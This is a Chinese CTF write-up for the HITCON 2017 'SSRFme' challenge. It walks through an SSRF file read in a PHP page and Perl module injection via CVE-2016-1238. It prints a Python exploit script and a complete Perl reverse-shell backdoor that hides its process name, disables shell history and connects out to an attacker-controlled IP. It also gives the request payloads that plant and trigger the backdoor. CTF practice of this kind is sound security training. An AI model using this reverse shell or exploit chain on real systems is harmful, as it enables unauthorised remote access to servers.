[HITCON 2017]SSRFme

第一次遇到需要反弹shell的题,毕竟出自HITCON,还是有点难的

漏洞:SSRF(任意文件读取)、CVE-2016-1238(在Perl文件中使用危险函数)

打开网站出现源码:

 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

代码逻辑:
第九行:服务器根据您的IP自动创建一个目录
第十三行:进行了一些过滤
第十八行:$_GET[‘url’]将请求的文件 写进系统给我们生成的目录。

编写脚本如下:

from requests import *

s = session()

url = "http://c2466dc1-bab5-408d-bcfa-de30430337ba.node3.buuoj.cn/"

path = "/"

payload = "?url={0}&filename=filename"

my_file = "sandbox/8b6d00f5abf94d601ce49582015c8264/filename"

r = s.get(url+payload.format(path))  #完成写入文件的操作

r2 = s.get(url + my_file)

print(r2.text)

成功读取到根目录信息

试着读取一下/flag,失败,应该是做了什么限制,然后再去读/readflag

不难看出这是一个二进制文件(像极了极客大挑战时候的/readflag,所以需要拉到ida5pro反编译一下,我就直接贴其他大佬的图吧(我不会反编译orz.....)

接下来应该就是如何去执行这个/readflag的问题了(后面的步骤真不会了,wp小子上线!)

发现漏洞:

漏洞利用:

如上述所说,若我们自己写的filename将其以.pm结尾,再写入perl的后门,即可触发该漏洞,使其引用这.pm结尾的后门,从而反弹shell。
perl后门:

#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
 
# Where to send the reverse shell. Change these.
my $ip = '127.0.0.1';  #这里要改为自己服务器的IP

my $port = 1234;
 
# Options
my $daemon = 1;
my $auth   = 0; # 0 means authentication is disabled and any 
        # source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
 
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
 
# Change the process name to be less conspicious
$0 = "[httpd]";
 
# Authenticate based on source IP address if required
if (defined($ENV{'REMOTE_ADDR'})) {
    cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
 
    if ($auth) {
        unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
            cgiprint("ERROR: Your client isn't authorised to view this page");
            cgiexit();
        }
    }
} elsif ($auth) {
    cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
    cgiexit(0);
}
 
# Background and dissociate from parent process if required
if ($daemon) {
    my $pid = fork();
    if ($pid) {
        cgiexit(0); # parent exits
    }
 
    setsid();
    chdir('/');
    umask(0);
}
 
# Make TCP connection for reverse shell
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
    cgiprint("Sent reverse shell to $ip:$port");
    cgiprintpage();
} else {
    cgiprint("Couldn't open reverse shell to $ip:$port: $!");
    cgiexit();    
}
 
# Redirect STDIN, STDOUT and STDERR to the TCP connection
open(STDIN, ">&SOCK");
open(STDOUT,">&SOCK");
open(STDERR,">&SOCK");
$ENV{'HISTFILE'} = '/dev/null';
system("w;uname -a;id;pwd");
exec({"/bin/sh"} ($fake_process_name, "-i"));
 
# Wrapper around print
sub cgiprint {
    my $line = shift;
    $line .= "<p>\n";
    $global_page .= $line;
}
 
# Wrapper around exit
sub cgiexit {
    cgiprintpage();
    exit 0; # 0 to ensure we don't give a 500 response.
}
 
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
    print "Content-Length: " . length($global_page) . "\r Connection: close\r Content-Type: text\/html\r\n\r\n" . $global_page;
}

然后将其部署到服务器上,再使用payload: ?filename=URI/
web_shell.pm&url=http://xx.xx.xx.x/backdoor.txt

这样就在网站上新建了一个URI目录,目录下有web_shell.pm文件,文件内容为我们的backdoor。

在服务器上监听端口,再访问?filename=xxx&url=http://xx.xx.xx.x/就能获得一个反弹shell。这里访问http://xx.xx.xx.x/时,web_shell.pm是未定义模块,所以会自动搜索并加载URI中的web_shell.pm模块。
最后执行./readflag即可

Tips:这道题还有另一种解法,是利用了perl的特点,在open()下,如果perl的第二个参数(path)可控,我们就能进行任意代码执行(详细解析见题末链接)

参考链接:maoxiaoxi师傅 https://momomoxiaoxi.com/2017/11/08/HITCON/

此条目发表在SSRF, 刷题记录分类目录。将固定链接加入收藏夹。

[HITCON 2017]SSRFme》有1条回应

发表评论

电子邮件地址不会被公开。 必填项已用*标注